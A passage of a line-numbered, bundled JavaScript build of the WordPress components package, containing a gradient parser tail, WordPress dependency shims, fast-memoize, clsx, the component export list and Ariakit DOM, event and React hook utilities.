1774 }
1775 if (openParenCount > 0) {
1776 error("Missing closing parenthesis in calc() expression");
1777 }
1778 var calcContent = input.substring(0, i3 - 1);
1779 consume(i3 - 1);
1780 return {
1781 type: "calc",
1782 value: calcContent
1783 };
1784 });
1785 }
1786 function matchLength() {
1787 return match4("px", tokens.pixelValue, 1) || match4("em", tokens.emValue, 1);
1788 }
1789 function match4(type, pattern, captureIndex) {
1790 var captures = scan(pattern);
1791 if (captures) {
1792 return {
1793 type,
1794 value: captures[captureIndex]
1795 };
1796 }
1797 }
1798 function scan(regexp) {
1799 var captures, blankCaptures;
1800 blankCaptures = /^[\n\r\t\s]+/.exec(input);
1801 if (blankCaptures) {
1802 consume(blankCaptures[0].length);
1803 }
1804 captures = regexp.exec(input);
1805 if (captures) {
1806 consume(captures[0].length);
1807 }
1808 return captures;
1809 }
1810 function consume(size3) {
1811 input = input.substr(size3);
1812 }
1813 return function(code) {
1814 input = code.toString().trim();
1815 if (input.endsWith(";")) {
1816 input = input.slice(0, -1);
1817 }
1818 return getAST();
1819 };
1820 })();
1821 exports.parse = GradientParser.parse;
1822 exports.stringify = GradientParser.stringify;
1823 }
1824 });
1825
1826 // package-external:@wordpress/dom
1827 var require_dom = __commonJS({
1828 "package-external:@wordpress/dom"(exports, module) {
1829 module.exports = window.wp.dom;
1830 }
1831 });
1832
1833 // package-external:@wordpress/date
1834 var require_date = __commonJS({
1835 "package-external:@wordpress/date"(exports, module) {
1836 module.exports = window.wp.date;
1837 }
1838 });
1839
1840 // package-external:@wordpress/escape-html
1841 var require_escape_html = __commonJS({
1842 "package-external:@wordpress/escape-html"(exports, module) {
1843 module.exports = window.wp.escapeHtml;
1844 }
1845 });
1846
1847 // package-external:@wordpress/html-entities
1848 var require_html_entities = __commonJS({
1849 "package-external:@wordpress/html-entities"(exports, module) {
1850 module.exports = window.wp.htmlEntities;
1851 }
1852 });
1853
1854 // node_modules/fast-memoize/src/index.js
1855 var require_src = __commonJS({
1856 "node_modules/fast-memoize/src/index.js"(exports, module) {
1857 function memoize3(fn, options2) {
1858 var cache2 = options2 && options2.cache ? options2.cache : cacheDefault;
1859 var serializer = options2 && options2.serializer ? options2.serializer : serializerDefault;
1860 var strategy = options2 && options2.strategy ? options2.strategy : strategyDefault;
1861 return strategy(fn, {
1862 cache: cache2,
1863 serializer
1864 });
1865 }
1866 function isPrimitive(value) {
1867 return value == null || typeof value === "number" || typeof value === "boolean";
1868 }
1869 function monadic(fn, cache2, serializer, arg) {
1870 var cacheKey = isPrimitive(arg) ? arg : serializer(arg);
1871 var computedValue = cache2.get(cacheKey);
1872 if (typeof computedValue === "undefined") {
1873 computedValue = fn.call(this, arg);
1874 cache2.set(cacheKey, computedValue);
1875 }
1876 return computedValue;
1877 }
1878 function variadic(fn, cache2, serializer) {
1879 var args = Array.prototype.slice.call(arguments, 3);
1880 var cacheKey = serializer(args);
1881 var computedValue = cache2.get(cacheKey);
1882 if (typeof computedValue === "undefined") {
1883 computedValue = fn.apply(this, args);
1884 cache2.set(cacheKey, computedValue);
1885 }
1886 return computedValue;
1887 }
1888 function assemble(fn, context, strategy, cache2, serialize2) {
1889 return strategy.bind(
1890 context,
1891 fn,
1892 cache2,
1893 serialize2
1894 );
1895 }
1896 function strategyDefault(fn, options2) {
1897 var strategy = fn.length === 1 ? monadic : variadic;
1898 return assemble(
1899 fn,
1900 this,
1901 strategy,
1902 options2.cache.create(),
1903 options2.serializer
1904 );
1905 }
1906 function strategyVariadic(fn, options2) {
1907 var strategy = variadic;
1908 return assemble(
1909 fn,
1910 this,
1911 strategy,
1912 options2.cache.create(),
1913 options2.serializer
1914 );
1915 }
1916 function strategyMonadic(fn, options2) {
1917 var strategy = monadic;
1918 return assemble(
1919 fn,
1920 this,
1921 strategy,
1922 options2.cache.create(),
1923 options2.serializer
1924 );
1925 }
1926 function serializerDefault() {
1927 return JSON.stringify(arguments);
1928 }
1929 function ObjectWithoutPrototypeCache() {
1930 this.cache = /* @__PURE__ */ Object.create(null);
1931 }
1932 ObjectWithoutPrototypeCache.prototype.has = function(key) {
1933 return key in this.cache;
1934 };
1935 ObjectWithoutPrototypeCache.prototype.get = function(key) {
1936 return this.cache[key];
1937 };
1938 ObjectWithoutPrototypeCache.prototype.set = function(key, value) {
1939 this.cache[key] = value;
1940 };
1941 var cacheDefault = {
1942 create: function create2() {
1943 return new ObjectWithoutPrototypeCache();
1944 }
1945 };
1946 module.exports = memoize3;
1947 module.exports.strategies = {
1948 variadic: strategyVariadic,
1949 monadic: strategyMonadic
1950 };
1951 }
1952 });
1953
1954 // package-external:@wordpress/hooks
1955 var require_hooks = __commonJS({
1956 "package-external:@wordpress/hooks"(exports, module) {
1957 module.exports = window.wp.hooks;
1958 }
1959 });
1960
1961 // package-external:@wordpress/private-apis
1962 var require_private_apis = __commonJS({
1963 "package-external:@wordpress/private-apis"(exports, module) {
1964 module.exports = window.wp.privateApis;
1965 }
1966 });
1967
1968 // packages/components/build-module/index.mjs
1969 var index_exports = {};
1970 __export(index_exports, {
1971 AlignmentMatrixControl: () => alignment_matrix_control_default,
1972 AnglePickerControl: () => angle_picker_control_default,
1973 Animate: () => animate_default,
1974 Autocomplete: () => Autocomplete,
1975 BaseControl: () => base_control_default,
1976 BlockQuotation: () => import_primitives36.BlockQuotation,
1977 BorderBoxControl: () => component_default24,
1978 BorderControl: () => component_default21,
1979 BoxControl: () => box_control_default,
1980 Button: () => button_default,
1981 ButtonGroup: () => button_group_default,
1982 Card: () => component_default27,
1983 CardBody: () => component_default29,
1984 CardDivider: () => component_default31,
1985 CardFooter: () => component_default32,
1986 CardHeader: () => component_default33,
1987 CardMedia: () => component_default34,
1988 CheckboxControl: () => checkbox_control_default,
1989 Circle: () => import_primitives36.Circle,
1990 ClipboardButton: () => ClipboardButton,
1991 ColorIndicator: () => color_indicator_default,
1992 ColorPalette: () => color_palette_default,
1993 ColorPicker: () => LegacyAdapter,
1994 ComboboxControl: () => combobox_control_default,
1995 Composite: () => Composite22,
1996 CustomGradientPicker: () => custom_gradient_picker_default,
1997 CustomSelectControl: () => custom_select_control_default,
1998 Dashicon: () => dashicon_default,
1999 DatePicker: () => date_default,
2000 DateTimePicker: () => date_time_default2,
2001 Disabled: () => disabled_default,
2002 Draggable: () => draggable_default,
2003 DropZone: () => drop_zone_default,
2004 DropZoneProvider: () => DropZoneProvider,
2005 Dropdown: () => dropdown_default,
2006 DropdownMenu: () => dropdown_menu_default,
2007 DuotonePicker: () => duotone_picker_default,
2008 DuotoneSwatch: () => duotone_swatch_default,
2009 ExternalLink: () => external_link_default,
2010 Fill: () => Fill,
2011 Flex: () => component_default3,
2012 FlexBlock: () => component_default5,
2013 FlexItem: () => component_default4,
2014 FocalPointPicker: () => focal_point_picker_default,
2015 FocusReturnProvider: () => Provider3,
2016 FocusableIframe: () => FocusableIframe,
2017 FontSizePicker: () => font_size_picker_default,
2018 FormFileUpload: () => form_file_upload_default,
2019 FormToggle: () => form_toggle_default,
2020 FormTokenField: () => form_token_field_default,
2021 G: () => import_primitives36.G,
2022 GradientPicker: () => gradient_picker_default,
2023 Guide: () => guide_default,
2024 GuidePage: () => GuidePage,
2025 HorizontalRule: () => import_primitives36.HorizontalRule,
2026 Icon: () => icon_default3,
2027 IconButton: () => deprecated_default,
2028 IsolatedEventContainer: () => isolated_event_container_default,
2029 KeyboardShortcuts: () => keyboard_shortcuts_default,
2030 Line: () => import_primitives36.Line,
2031 MenuGroup: () => menu_group_default,
2032 MenuItem: () => menu_item_default,
2033 MenuItemsChoice: () => menu_items_choice_default,
2034 Modal: () => modal_default,
2035 NavigableMenu: () => menu_default2,
2036 Navigator: () => Navigator3,
2037 Notice: () => notice_default,
2038 NoticeList: () => list_default,
2039 Panel: () => panel_default,
2040 PanelBody: () => body_default,
2041 PanelHeader: () => header_default,
2042 PanelRow: () => row_default,
2043 Path: () => import_primitives36.Path,
2044 Placeholder: () => placeholder_default,
2045 Polygon: () => import_primitives36.Polygon,
2046 Popover: () => popover_default,
2047 ProgressBar: () => progress_bar_default,
2048 QueryControls: () => query_controls_default,
2049 RadioControl: () => radio_control_default,
2050 RangeControl: () => range_control_default,
2051 Rect: () => import_primitives36.Rect,
2052 ResizableBox: () => resizable_box_default,
2053 ResponsiveWrapper: () => responsive_wrapper_default,
2054 SVG: () => import_primitives36.SVG,
2055 SandBox: () => sandbox_default,
2056 ScrollLock: () => scroll_lock_default,
2057 SearchControl: () => search_control_default,
2058 SelectControl: () => select_control_default,
2059 Slot: () => Slot3,
2060 SlotFillProvider: () => Provider,
2061 Snackbar: () => snackbar_default,
2062 SnackbarList: () => list_default2,
2063 Spinner: () => spinner_default,
2064 TabPanel: () => tab_panel_default,
2065 TabbableContainer: () => tabbable_default,
2066 TextControl: () => text_control_default,
2067 TextHighlight: () => text_highlight_default,
2068 TextareaControl: () => textarea_control_default,
2069 TimePicker: () => time_default,
2070 Tip: () => tip_default2,
2071 ToggleControl: () => toggle_control_default,
2072 Toolbar: () => toolbar_default,
2073 ToolbarButton: () => toolbar_button_default,
2074 ToolbarDropdownMenu: () => toolbar_dropdown_menu_default,
2075 ToolbarGroup: () => toolbar_group_default,
2076 ToolbarItem: () => toolbar_item_default,
2077 Tooltip: () => tooltip_default,
2078 TreeSelect: () => tree_select_default,
2079 VisuallyHidden: () => component_default2,
2080 __experimentalAlignmentMatrixControl: () => alignment_matrix_control_default,
2081 __experimentalApplyValueToSides: () => applyValueToSides,
2082 __experimentalBorderBoxControl: () => component_default24,
2083 __experimentalBorderControl: () => component_default21,
2084 __experimentalBoxControl: () => box_control_default,
2085 __experimentalConfirmDialog: () => component_default37,
2086 __experimentalDivider: () => component_default30,
2087 __experimentalDropdownContentWrapper: () => dropdown_content_wrapper_default,
2088 __experimentalElevation: () => component_default25,
2089 __experimentalGrid: () => component_default22,
2090 __experimentalHStack: () => component_default9,
2091 __experimentalHasSplitBorders: () => hasSplitBorders,
2092 __experimentalHeading: () => component_default19,
2093 __experimentalInputControl: () => input_control_default,
2094 __experimentalInputControlPrefixWrapper: () => input_prefix_wrapper_default,
2095 __experimentalInputControlSuffixWrapper: () => input_suffix_wrapper_default,
2096 __experimentalIsDefinedBorder: () => isDefinedBorder,
2097 __experimentalIsEmptyBorder: () => isEmptyBorder,
2098 __experimentalItem: () => component_default35,
2099 __experimentalItemGroup: () => component_default36,
2100 __experimentalNavigation: () => navigation_default,
2101 __experimentalNavigationBackButton: () => back_button_default,
2102 __experimentalNavigationGroup: () => group_default,
2103 __experimentalNavigationItem: () => item_default2,
2104 __experimentalNavigationMenu: () => menu_default3,
2105 __experimentalNavigatorBackButton: () => NavigatorBackButton2,
2106 __experimentalNavigatorButton: () => NavigatorButton2,
2107 __experimentalNavigatorProvider: () => NavigatorProvider,
2108 __experimentalNavigatorScreen: () => NavigatorScreen2,
2109 __experimentalNavigatorToParentButton: () => NavigatorToParentButton2,
2110 __experimentalNumberControl: () => number_control_default,
2111 __experimentalPaletteEdit: () => palette_edit_default,
2112 __experimentalParseQuantityAndUnitFromRawValue: () => parseQuantityAndUnitFromRawValue,
2113 __experimentalRadio: () => radio_default,
2114 __experimentalRadioGroup: () => radio_group_default,
2115 __experimentalScrollable: () => component_default28,
2116 __experimentalSpacer: () => component_default6,
2117 __experimentalStyleProvider: () => style_provider_default,
2118 __experimentalSurface: () => component_default26,
2119 __experimentalText: () => component_default8,
2120 __experimentalToggleGroupControl: () => component_default12,
2121 __experimentalToggleGroupControlOption: () => component_default14,
2122 __experimentalToggleGroupControlOptionIcon: () => component_default15,
2123 __experimentalToolbarContext: () => toolbar_context_default,
2124 __experimentalToolsPanel: () => component_default39,
2125 __experimentalToolsPanelContext: () => ToolsPanelContext,
2126 __experimentalToolsPanelItem: () => component_default40,
2127 __experimentalTreeGrid: () => tree_grid_default,
2128 __experimentalTreeGridCell: () => cell_default,
2129 __experimentalTreeGridItem: () => item_default3,
2130 __experimentalTreeGridRow: () => row_default2,
2131 __experimentalTruncate: () => component_default7,
2132 __experimentalUnitControl: () => unit_control_default,
2133 __experimentalUseCustomUnits: () => useCustomUnits,
2134 __experimentalUseNavigator: () => useNavigator,
2135 __experimentalUseSlot: () => useSlot,
2136 __experimentalUseSlotFills: () => useSlotFills,
2137 __experimentalVStack: () => component_default18,
2138 __experimentalView: () => component_default,
2139 __experimentalZStack: () => component_default41,
2140 __unstableAnimatePresence: () => AnimatePresence,
2141 __unstableComposite: () => Composite4,
2142 __unstableCompositeGroup: () => CompositeGroup4,
2143 __unstableCompositeItem: () => CompositeItem4,
2144 __unstableDisclosureContent: () => DisclosureContent22,
2145 __unstableGetAnimateClassName: () => getAnimateClassName,
2146 __unstableMotion: () => motion,
2147 __unstableUseAutocompleteProps: () => useAutocompleteProps,
2148 __unstableUseCompositeState: () => useCompositeState,
2149 __unstableUseNavigateRegions: () => useNavigateRegions,
2150 createSlotFill: () => createSlotFill,
2151 navigateRegions: () => navigate_regions_default,
2152 privateApis: () => privateApis,
2153 useBaseControlProps: () => useBaseControlProps,
2154 useNavigator: () => useNavigator,
2155 withConstrainedTabbing: () => with_constrained_tabbing_default,
2156 withFallbackStyles: () => with_fallback_styles_default,
2157 withFilters: () => withFilters,
2158 withFocusOutside: () => with_focus_outside_default,
2159 withFocusReturn: () => with_focus_return_default,
2160 withNotices: () => with_notices_default,
2161 withSpokenMessages: () => with_spoken_messages_default
2162 });
2163 var import_primitives36 = __toESM(require_primitives(), 1);
2164
2165 // node_modules/clsx/dist/clsx.mjs
2166 function r(e3) {
2167 var t4, f3, n3 = "";
2168 if ("string" == typeof e3 || "number" == typeof e3) n3 += e3;
2169 else if ("object" == typeof e3) if (Array.isArray(e3)) {
2170 var o4 = e3.length;
2171 for (t4 = 0; t4 < o4; t4++) e3[t4] && (f3 = r(e3[t4])) && (n3 && (n3 += " "), n3 += f3);
2172 } else for (f3 in e3) e3[f3] && (n3 && (n3 += " "), n3 += f3);
2173 return n3;
2174 }
2175 function clsx() {
2176 for (var e3, t4, f3 = 0, n3 = "", o4 = arguments.length; f3 < o4; f3++) (e3 = arguments[f3]) && (t4 = r(e3)) && (n3 && (n3 += " "), n3 += t4);
2177 return n3;
2178 }
2179 var clsx_default = clsx;
2180
2181 // packages/components/build-module/alignment-matrix-control/index.mjs
2182 var import_i18n4 = __toESM(require_i18n(), 1);
2183 var import_compose2 = __toESM(require_compose(), 1);
2184 var import_element18 = __toESM(require_element(), 1);
2185
2186 // node_modules/@ariakit/core/esm/__chunks/XMCVU3LR.js
2187 function noop(..._2) {
2188 }
2189 function shallowEqual(a3, b3) {
2190 if (a3 === b3) return true;
2191 if (!a3) return false;
2192 if (!b3) return false;
2193 if (typeof a3 !== "object") return false;
2194 if (typeof b3 !== "object") return false;
2195 const aKeys = Object.keys(a3);
2196 const bKeys = Object.keys(b3);
2197 const { length: length2 } = aKeys;
2198 if (bKeys.length !== length2) return false;
2199 for (const key of aKeys) {
2200 if (a3[key] !== b3[key]) {
2201 return false;
2202 }
2203 }
2204 return true;
2205 }
2206 function applyState(argument, currentValue) {
2207 if (isUpdater(argument)) {
2208 const value = isLazyValue(currentValue) ? currentValue() : currentValue;
2209 return argument(value);
2210 }
2211 return argument;
2212 }
2213 function isUpdater(argument) {
2214 return typeof argument === "function";
2215 }
2216 function isLazyValue(value) {
2217 return typeof value === "function";
2218 }
2219 function hasOwnProperty(object, prop) {
2220 if (typeof Object.hasOwn === "function") {
2221 return Object.hasOwn(object, prop);
2222 }
2223 return Object.prototype.hasOwnProperty.call(object, prop);
2224 }
2225 function chain(...fns) {
2226 return (...args) => {
2227 for (const fn of fns) {
2228 if (typeof fn === "function") {
2229 fn(...args);
2230 }
2231 }
2232 };
2233 }
2234 function normalizeString(str) {
2235 return str.normalize("NFD").replace(/[\u0300-\u036f]/g, "");
2236 }
2237 function omit(object, keys) {
2238 const result = { ...object };
2239 for (const key of keys) {
2240 if (hasOwnProperty(result, key)) {
2241 delete result[key];
2242 }
2243 }
2244 return result;
2245 }
2246 function pick(object, paths) {
2247 const result = {};
2248 for (const key of paths) {
2249 if (hasOwnProperty(object, key)) {
2250 result[key] = object[key];
2251 }
2252 }
2253 return result;
2254 }
2255 function identity(value) {
2256 return value;
2257 }
2258 function invariant(condition, message2) {
2259 if (condition) return;
2260 if (typeof message2 !== "string") throw new Error("Invariant failed");
2261 throw new Error(message2);
2262 }
2263 function getKeys(obj) {
2264 return Object.keys(obj);
2265 }
2266 function isFalsyBooleanCallback(booleanOrCallback, ...args) {
2267 const result = typeof booleanOrCallback === "function" ? booleanOrCallback(...args) : booleanOrCallback;
2268 if (result == null) return false;
2269 return !result;
2270 }
2271 function disabledFromProps(props) {
2272 return props.disabled || props["aria-disabled"] === true || props["aria-disabled"] === "true";
2273 }
2274 function removeUndefinedValues(obj) {
2275 const result = {};
2276 for (const key in obj) {
2277 if (obj[key] !== void 0) {
2278 result[key] = obj[key];
2279 }
2280 }
2281 return result;
2282 }
2283 function defaultValue(...values) {
2284 for (const value of values) {
2285 if (value !== void 0) return value;
2286 }
2287 return void 0;
2288 }
2289
2290 // node_modules/@ariakit/react-core/esm/__chunks/YXGXYGQX.js
2291 var import_react = __toESM(require_react(), 1);
2292 function setRef(ref, value) {
2293 if (typeof ref === "function") {
2294 ref(value);
2295 } else if (ref) {
2296 ref.current = value;
2297 }
2298 }
2299 function isValidElementWithRef(element) {
2300 if (!element) return false;
2301 if (!(0, import_react.isValidElement)(element)) return false;
2302 if ("ref" in element.props) return true;
2303 if ("ref" in element) return true;
2304 return false;
2305 }
2306 function getRefProperty(element) {
2307 if (!isValidElementWithRef(element)) return null;
2308 const props = { ...element.props };
2309 return props.ref || element.ref;
2310 }
2311 function mergeProps(base, overrides) {
2312 const props = { ...base };
2313 for (const key in overrides) {
2314 if (!hasOwnProperty(overrides, key)) continue;
2315 if (key === "className") {
2316 const prop = "className";
2317 props[prop] = base[prop] ? `${base[prop]} ${overrides[prop]}` : overrides[prop];
2318 continue;
2319 }
2320 if (key === "style") {
2321 const prop = "style";
2322 props[prop] = base[prop] ? { ...base[prop], ...overrides[prop] } : overrides[prop];
2323 continue;
2324 }
2325 const overrideValue = overrides[key];
2326 if (typeof overrideValue === "function" && key.startsWith("on")) {
2327 const baseValue = base[key];
2328 if (typeof baseValue === "function") {
2329 props[key] = (...args) => {
2330 overrideValue(...args);
2331 baseValue(...args);
2332 };
2333 continue;
2334 }
2335 }
2336 props[key] = overrideValue;
2337 }
2338 return props;
2339 }
2340
2341 // node_modules/@ariakit/core/esm/__chunks/3DNM6L6E.js
2342 var canUseDOM = checkIsBrowser();
2343 function checkIsBrowser() {
2344 var _a;
2345 return typeof window !== "undefined" && !!((_a = window.document) == null ? void 0 : _a.createElement);
2346 }
2347 function getDocument(node2) {
2348 if (!node2) return document;
2349 if ("self" in node2) return node2.document;
2350 return node2.ownerDocument || document;
2351 }
2352 function getWindow(node2) {
2353 if (!node2) return self;
2354 if ("self" in node2) return node2.self;
2355 return getDocument(node2).defaultView || window;
2356 }
2357 function getActiveElement(node2, activeDescendant = false) {
2358 var _a;
2359 const { activeElement } = getDocument(node2);
2360 if (!(activeElement == null ? void 0 : activeElement.nodeName)) {
2361 return null;
2362 }
2363 if (isFrame(activeElement) && ((_a = activeElement.contentDocument) == null ? void 0 : _a.body)) {
2364 return getActiveElement(
2365 activeElement.contentDocument.body,
2366 activeDescendant
2367 );
2368 }
2369 if (activeDescendant) {
2370 const id3 = activeElement.getAttribute("aria-activedescendant");
2371 if (id3) {
2372 const element = getDocument(activeElement).getElementById(id3);
2373 if (element) {
2374 return element;
2375 }
2376 }
2377 }
2378 return activeElement;
2379 }
2380 function contains(parent, child) {
2381 return parent === child || parent.contains(child);
2382 }
2383 function isFrame(element) {
2384 return element.tagName === "IFRAME";
2385 }
2386 function isButton(element) {
2387 const tagName = element.tagName.toLowerCase();
2388 if (tagName === "button") return true;
2389 if (tagName === "input" && element.type) {
2390 return buttonInputTypes.indexOf(element.type) !== -1;
2391 }
2392 return false;
2393 }
2394 var buttonInputTypes = [
2395 "button",
2396 "color",
2397 "file",
2398 "image",
2399 "reset",
2400 "submit"
2401 ];
2402 function isVisible(element) {
2403 if (typeof element.checkVisibility === "function") {
2404 return element.checkVisibility();
2405 }
2406 const htmlElement = element;
2407 return htmlElement.offsetWidth > 0 || htmlElement.offsetHeight > 0 || element.getClientRects().length > 0;
2408 }
2409 function isTextField(element) {
2410 try {
2411 const isTextInput = element instanceof HTMLInputElement && element.selectionStart !== null;
2412 const isTextArea = element.tagName === "TEXTAREA";
2413 return isTextInput || isTextArea || false;
2414 } catch (_error) {
2415 return false;
2416 }
2417 }
2418 function isTextbox(element) {
2419 return element.isContentEditable || isTextField(element);
2420 }
2421 function getTextboxValue(element) {
2422 if (isTextField(element)) {
2423 return element.value;
2424 }
2425 if (element.isContentEditable) {
2426 const range = getDocument(element).createRange();
2427 range.selectNodeContents(element);
2428 return range.toString();
2429 }
2430 return "";
2431 }
2432 function getTextboxSelection(element) {
2433 let start = 0;
2434 let end = 0;
2435 if (isTextField(element)) {
2436 start = element.selectionStart || 0;
2437 end = element.selectionEnd || 0;
2438 } else if (element.isContentEditable) {
2439 const selection = getDocument(element).getSelection();
2440 if ((selection == null ? void 0 : selection.rangeCount) && selection.anchorNode && contains(element, selection.anchorNode) && selection.focusNode && contains(element, selection.focusNode)) {
2441 const range = selection.getRangeAt(0);
2442 const nextRange = range.cloneRange();
2443 nextRange.selectNodeContents(element);
2444 nextRange.setEnd(range.startContainer, range.startOffset);
2445 start = nextRange.toString().length;
2446 nextRange.setEnd(range.endContainer, range.endOffset);
2447 end = nextRange.toString().length;
2448 }
2449 }
2450 return { start, end };
2451 }
2452 function getPopupRole(element, fallback) {
2453 const allowedPopupRoles = ["dialog", "menu", "listbox", "tree", "grid"];
2454 const role = element == null ? void 0 : element.getAttribute("role");
2455 if (role && allowedPopupRoles.indexOf(role) !== -1) {
2456 return role;
2457 }
2458 return fallback;
2459 }
2460 function getPopupItemRole(element, fallback) {
2461 var _a;
2462 const itemRoleByPopupRole = {
2463 menu: "menuitem",
2464 listbox: "option",
2465 tree: "treeitem"
2466 };
2467 const popupRole = getPopupRole(element);
2468 if (!popupRole) return fallback;
2469 const key = popupRole;
2470 return (_a = itemRoleByPopupRole[key]) != null ? _a : fallback;
2471 }
2472 function getScrollingElement(element) {
2473 if (!element) return null;
2474 const isScrollableOverflow = (overflow) => {
2475 if (overflow === "auto") return true;
2476 if (overflow === "scroll") return true;
2477 return false;
2478 };
2479 if (element.clientHeight && element.scrollHeight > element.clientHeight) {
2480 const { overflowY } = getComputedStyle(element);
2481 if (isScrollableOverflow(overflowY)) return element;
2482 } else if (element.clientWidth && element.scrollWidth > element.clientWidth) {
2483 const { overflowX } = getComputedStyle(element);
2484 if (isScrollableOverflow(overflowX)) return element;
2485 }
2486 return getScrollingElement(element.parentElement) || document.scrollingElement || document.body;
2487 }
2488 function sortBasedOnDOMPosition(items, getElement) {
2489 const pairs = items.map((item2, index2) => [index2, item2]);
2490 let isOrderDifferent = false;
2491 pairs.sort(([indexA, a3], [indexB, b3]) => {
2492 const elementA = getElement(a3);
2493 const elementB = getElement(b3);
2494 if (elementA === elementB) return 0;
2495 if (!elementA || !elementB) return 0;
2496 if (isElementPreceding(elementA, elementB)) {
2497 if (indexA > indexB) {
2498 isOrderDifferent = true;
2499 }
2500 return -1;
2501 }
2502 if (indexA < indexB) {
2503 isOrderDifferent = true;
2504 }
2505 return 1;
2506 });
2507 if (isOrderDifferent) {
2508 return pairs.map(([_2, item2]) => item2);
2509 }
2510 return items;
2511 }
2512 function isElementPreceding(a3, b3) {
2513 return Boolean(
2514 b3.compareDocumentPosition(a3) & Node.DOCUMENT_POSITION_PRECEDING
2515 );
2516 }
2517
2518 // node_modules/@ariakit/core/esm/__chunks/SNHYQNEZ.js
2519 function isTouchDevice() {
2520 return canUseDOM && !!navigator.maxTouchPoints;
2521 }
2522 function isApple() {
2523 if (!canUseDOM) return false;
2524 return /mac|iphone|ipad|ipod/i.test(navigator.platform);
2525 }
2526 function isSafari() {
2527 return canUseDOM && isApple() && /apple/i.test(navigator.vendor);
2528 }
2529 function isFirefox() {
2530 return canUseDOM && /firefox\//i.test(navigator.userAgent);
2531 }
2532 function isMac() {
2533 return canUseDOM && navigator.platform.startsWith("Mac") && !isTouchDevice();
2534 }
2535
2536 // node_modules/@ariakit/core/esm/utils/events.js
2537 function isPortalEvent(event) {
2538 return Boolean(
2539 event.currentTarget && !contains(event.currentTarget, event.target)
2540 );
2541 }
2542 function isSelfTarget(event) {
2543 return event.target === event.currentTarget;
2544 }
2545 function isOpeningInNewTab(event) {
2546 const element = event.currentTarget;
2547 if (!element) return false;
2548 const isAppleDevice = isApple();
2549 if (isAppleDevice && !event.metaKey) return false;
2550 if (!isAppleDevice && !event.ctrlKey) return false;
2551 const tagName = element.tagName.toLowerCase();
2552 if (tagName === "a") return true;
2553 if (tagName === "button" && element.type === "submit") return true;
2554 if (tagName === "input" && element.type === "submit") return true;
2555 return false;
2556 }
2557 function isDownloading(event) {
2558 const element = event.currentTarget;
2559 if (!element) return false;
2560 const tagName = element.tagName.toLowerCase();
2561 if (!event.altKey) return false;
2562 if (tagName === "a") return true;
2563 if (tagName === "button" && element.type === "submit") return true;
2564 if (tagName === "input" && element.type === "submit") return true;
2565 return false;
2566 }
2567 function fireEvent(element, type, eventInit) {
2568 const event = new Event(type, eventInit);
2569 return element.dispatchEvent(event);
2570 }
2571 function fireBlurEvent(element, eventInit) {
2572 const event = new FocusEvent("blur", eventInit);
2573 const defaultAllowed = element.dispatchEvent(event);
2574 const bubbleInit = { ...eventInit, bubbles: true };
2575 element.dispatchEvent(new FocusEvent("focusout", bubbleInit));
2576 return defaultAllowed;
2577 }
2578 function fireKeyboardEvent(element, type, eventInit) {
2579 const event = new KeyboardEvent(type, eventInit);
2580 return element.dispatchEvent(event);
2581 }
2582 function fireClickEvent(element, eventInit) {
2583 const event = new MouseEvent("click", eventInit);
2584 return element.dispatchEvent(event);
2585 }
2586 function isFocusEventOutside(event, container) {
2587 const containerElement = container || event.currentTarget;
2588 const relatedTarget = event.relatedTarget;
2589 return !relatedTarget || !contains(containerElement, relatedTarget);
2590 }
2591 function queueBeforeEvent(element, type, callback, timeout) {
2592 const createTimer = (callback2) => {
2593 if (timeout) {
2594 const timerId2 = setTimeout(callback2, timeout);
2595 return () => clearTimeout(timerId2);
2596 }
2597 const timerId = requestAnimationFrame(callback2);
2598 return () => cancelAnimationFrame(timerId);
2599 };
2600 const cancelTimer = createTimer(() => {
2601 element.removeEventListener(type, callSync, true);
2602 callback();
2603 });
2604 const callSync = () => {
2605 cancelTimer();
2606 callback();
2607 };
2608 element.addEventListener(type, callSync, { once: true, capture: true });
2609 return cancelTimer;
2610 }
2611 function addGlobalEventListener(type, listener, options2, scope = window) {
2612 const children = [];
2613 try {
2614 scope.document.addEventListener(type, listener, options2);
2615 for (const frame2 of Array.from(scope.frames)) {
2616 children.push(addGlobalEventListener(type, listener, options2, frame2));
2617 }
2618 } catch (e3) {
2619 }
2620 const removeEventListener = () => {
2621 try {
2622 scope.document.removeEventListener(type, listener, options2);
2623 } catch (e3) {
2624 }
2625 for (const remove of children) {
2626 remove();
2627 }
2628 };
2629 return removeEventListener;
2630 }
2631
2632 // node_modules/@ariakit/react-core/esm/__chunks/KPHZR4MB.js
2633 var React = __toESM(require_react(), 1);
2634 var import_react2 = __toESM(require_react(), 1);
2635 var _React = { ...React };
2636 var useReactId = _React.useId;
2637 var useReactDeferredValue = _React.useDeferredValue;
2638 var useReactInsertionEffect = _React.useInsertionEffect;
2639 var useSafeLayoutEffect = canUseDOM ? import_react2.useLayoutEffect : import_react2.useEffect;
2640 function useInitialValue(value) {
2641 const [initialValue2] = (0, import_react2.useState)(value);
2642 return initialValue2;
2643 }
2644 function useLiveRef(value) {
2645 const ref = (0, import_react2.useRef)(value);
2646 useSafeLayoutEffect(() => {
2647 ref.current = value;
2648 });
2649 return ref;
2650 }
2651 function useEvent(callback) {
2652 const ref = (0, import_react2.useRef)(() => {
2653 throw new Error("Cannot call an event handler while rendering.");
2654 });
2655 if (useReactInsertionEffect) {
2656 useReactInsertionEffect(() => {
2657 ref.current = callback;
2658 });
2659 } else {
2660 ref.current = callback;
2661 }
2662 return (0, import_react2.useCallback)((...args) => {
2663 var _a;
2664 return (_a = ref.current) == null ? void 0 : _a.call(ref, ...args);
2665 }, []);
2666 }
2667 function useTransactionState(callback) {
2668 const [state, setState] = (0, import_react2.useState)(null);
2669 useSafeLayoutEffect(() => {
2670 if (state == null) return;
2671 if (!callback) return;
2672 let prevState = null;
2673 callback((prev2) => {
2674 prevState = prev2;
2675 return state;
2676 });
2677 return () => {
2678 callback(prevState);
2679 };
2680 }, [state, callback]);
2681 return [state, setState];
2682 }
2683 function useMergeRefs(...refs) {
2684 return (0, import_react2.useMemo)(() => {
2685 if (!refs.some(Boolean)) return;
2686 return (value) => {
2687 for (const ref of refs) {
2688 setRef(ref, value);
2689 }
2690 };
2691 }, refs);
2692 }
2693 function useId(defaultId) {
2694 if (useReactId) {
2695 const reactId = useReactId();
2696 if (defaultId) return defaultId;
2697 return reactId;
2698 }
2699 const [id3, setId] = (0, import_react2.useState)(defaultId);
2700 useSafeLayoutEffect(() => {
2701 if (defaultId || id3) return;
2702 const random = Math.random().toString(36).slice(2, 8);
2703 setId(`id-${random}`);
2704 }, [defaultId, id3]);
2705 return defaultId || id3;
2706 }
2707 function useTagName(refOrElement, type) {
2708 const stringOrUndefined = (type2) => {
2709 if (typeof type2 !== "string") return;
2710 return type2;
2711 };
